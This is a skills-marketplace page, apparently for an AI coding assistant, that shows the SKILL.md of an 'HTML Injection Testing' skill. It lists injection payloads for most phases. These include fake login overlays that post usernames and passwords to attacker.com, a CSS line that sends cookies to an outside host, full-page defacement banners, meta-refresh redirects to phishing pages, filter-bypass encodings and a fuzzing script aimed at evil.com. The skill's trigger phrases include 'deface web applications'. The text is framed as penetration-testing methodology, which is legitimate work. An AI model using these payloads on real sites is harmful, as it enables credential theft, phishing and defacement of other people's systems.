Skip to main content

html-injection-testing

This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.

Aller à l'installation

Informations de source

Dépôt
tomevault-io/claude-code-plugins
Dernière activité de la source
6 avril 2026 à 08:31
Langue détectée de SKILL.md
anglais
Étoiles
3
Forks
2

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
HTML Injection Testing
description
This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
metadata
{"author":"zebbern","version":"1.1"}
# HTML Injection Testing ## Purpose Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms. ## Prerequisites ### Required Tools - Web browser with developer tools - Burp Suite or OWASP ZAP - Tamper Data or similar proxy - cURL for testing payloads ### Required Knowledge - HTML fundamentals - HTTP request/response structure - Web application input handling - Difference between HTML injection and XSS ## Outputs and Deliverables 1. **Vulnerability Report** - Identified injection points 2. **Exploitation Proof** - Demonstrated content manipulation 3. **Impact Assessment** - Potential phishing and defacement risks 4. **Remediation Guidance** - Input validation recommendations ## Core Workflow ### Phase 1: Understanding HTML Injection HTML injection occurs when user input is reflected in web pages without proper sanitization: ```html <!-- Vulnerable code example --> <div> Welcome, <?php echo $_GET['name']; ?> </div> <!-- Attack input --> ?name=<h1>Injected Content</h1> <!-- Rendered output --> <div> Welcome, <h1>Injected Content</h1> </div> ``` Key differences from XSS: - HTML injection: Only HTML tags are rendered - XSS: JavaScript code is executed - HTML injection is often stepping stone to XSS Attack goals: - Modify website appearance (defacement) - Create fake login forms (phishing) - Inject malicious links - Display misleading content ### Phase 2: Identifying Injection Points Map application for potential injection surfaces: ``` 1. Search bars and search results 2. Comment sections 3. User profile fields 4. Contact forms and feedback 5. Registration forms 6. URL parameters reflected on page 7. Error messages 8. Page titles and headers 9. Hidden form fields 10. Cookie values reflected on page ``` Common vulnerable parameters: ``` ?name= ?user= ?search= ?query= ?message= ?title= ?content= ?redirect= ?url= ?page= ``` ### Phase 3: Basic HTML Injection Testing Test with simple HTML tags: ```html <!-- Basic text formatting --> <h1>Test Injection</h1> <b>Bold Text</b> <i>Italic Text</i> <u>Underlined Text</u> <font color="red">Red Text</font> <!-- Structural elements --> <div style="background:red;color:white;padding:10px">Injected DIV</div> <p>Injected paragraph</p> <br><br><br>Line breaks <!-- Links --> <a href="http://attacker.com">Click Here</a> <a href="http://attacker.com">Legitimate Link</a> <!-- Images --> <img src="http://attacker.com/image.png"> <img src="x" onerror="alert(1)"> <!-- XSS attempt --> ``` Testing workflow: ```bash # Test basic injection curl "http://target.com/search?q=<h1>Test</h1>" # Check if HTML renders in response curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold" # Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" ``` ### Phase 4: Types of HTML Injection #### Stored HTML Injection Payload persists in database: ```html <!-- Profile bio injection --> Name: John Doe Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;"> <h1>Site Under Maintenance</h1> <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> </div> <!-- Comment injection --> Great article! <form action="http://attacker.com/steal" method="POST"> <input name="username" placeholder="Session expired. Enter username:"> <input name="password" type="password" placeholder="Password:"> <input type="submit" value="Login"> </form> ``` #### Reflected GET Injection Payload in URL parameters: ```html <!-- URL injection --> http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal"> <!-- Search result injection --> http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee> ``` #### Reflected POST Injection Payload in POST data: ```bash # POST injection test curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \ http://target.com/submit # Form field injection curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \ http://target.com/register ``` #### URL-Based Injection Inject into displayed URLs: ```html <!-- If URL is displayed on page --> http://target.com/page/<h1>Injected</h1> <!-- Path-based injection --> http://target.com/users/<img src=x>/profile ``` ### Phase 5: Phishing Attack Construction Create convincing phishing forms: ```html <!-- Fake login form overlay --> <div style="position:fixed;top:0;left:0;width:100%;height:100%; background:white;z-index:9999;padding:50px;"> <h2>Session Expired</h2> <p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/capture" method="POST"> <label>Username:</label><br> <input type="text" name="username" style="width:200px;"><br><br> <label>Password:</label><br> <input type="password" name="password" style="width:200px;"><br><br> <input type="submit" value="Login"> </form> </div> <!-- Hidden credential stealer --> <style> input { background: url('http://attacker.com/log?data=') } </style> <form action="http://attacker.com/steal" method="POST"> <input name="user" placeholder="Verify your username"> <input name="pass" type="password" placeholder="Verify your password"> <button>Verify</button> </form> ``` URL-encoded phishing link: ``` http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E ``` ### Phase 6: Defacement Payloads Website appearance manipulation: ```html <!-- Full page overlay --> <div style="position:fixed;top:0;left:0;width:100%;height:100%; background:#000;color:#0f0;z-index:9999; display:flex;justify-content:center;align-items:center;"> <h1>HACKED BY SECURITY TESTER</h1> </div> <!-- Content replacement --> <style>body{display:none}</style> <body style="display:block !important"> <h1>This site has been compromised</h1> </body> <!-- Image injection --> <img src="http://attacker.com/defaced.jpg" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999"> <!-- Marquee injection (visible movement) --> <marquee behavior="alternate" style="font-size:50px;color:red;"> SECURITY VULNERABILITY DETECTED </marquee> ``` ### Phase 7: Advanced Injection Techniques #### CSS Injection ```html <!-- Style injection --> <style> body { background: url('http://attacker.com/track?cookie='+document.cookie) } .content { display: none } .fake-content { display: block } </style> <!-- Inline style injection --> <div style="background:url('http://attacker.com/log')">Content</div> ``` #### Meta Tag Injection ```html <!-- Redirect via meta refresh --> <meta http-equiv="refresh" content="0;url=http://attacker.com/phish"> <!-- CSP bypass attempt --> <meta http-equiv="Content-Security-Policy" content="default-src *"> ``` #### Form Action Override ```html <!-- Hijack existing form --> <form action="http://attacker.com/steal"> <!-- If form already exists, add input --> <input type="hidden" name="extra" value="data"> </form> ``` #### iframe Injection ```html <!-- Embed external content --> <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe> <!-- Invisible tracking iframe --> <iframe src="http://attacker.com/track" style="display:none"></iframe> ``` ### Phase 8: Bypass Techniques Evade basic filters: ```html <!-- Case variations --> <H1>Test</H1> <ScRiPt>alert(1)</ScRiPt> <!-- Encoding variations --> &#60;h1&#62;Encoded&#60;/h1&#62; %3Ch1%3EURL%20Encoded%3C%2Fh1%3E <!-- Tag splitting --> <h 1>Split Tag</h1> <!-- Null bytes --> <h1%00>Null Byte</h1> <!-- Double encoding --> %253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E <!-- Unicode encoding --> \u003ch1\u003eUnicode\u003c/h1\u003e <!-- Attribute-based --> <div onmouseover="alert(1)">Hover me</div> <img src=x onerror=alert(1)> ``` ### Phase 9: Automated Testing #### Using Burp Suite ``` 1. Capture request with potential injection point 2. Send to Intruder 3. Mark parameter value as payload position 4. Load HTML injection wordlist 5. Start attack 6. Filter responses for rendered HTML 7. Manually verify successful injections ``` #### Using OWASP ZAP ``` 1. Spider the target application 2. Active Scan with HTML injection rules 3. Review Alerts for injection findings 4. Validate findings manually ``` #### Custom Fuzzing Script ```python #!/usr/bin/env python3 import requests import urllib.parse target = "http://target.com/search" param = "q" payloads = [ "<h1>Test</h1>", "<b>Bold</b>", "<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "<a href='http://evil.com'>Click</a>", "<div style='color:red'>Styled</div>", "<marquee>Moving</marquee>", "<iframe src='http://evil.com'></iframe>", ]
Voir sur GitHub
Ce SKILL.md est tres volumineux, SkillsMP affiche donc ici seulement la premiere section. Voir sur GitHub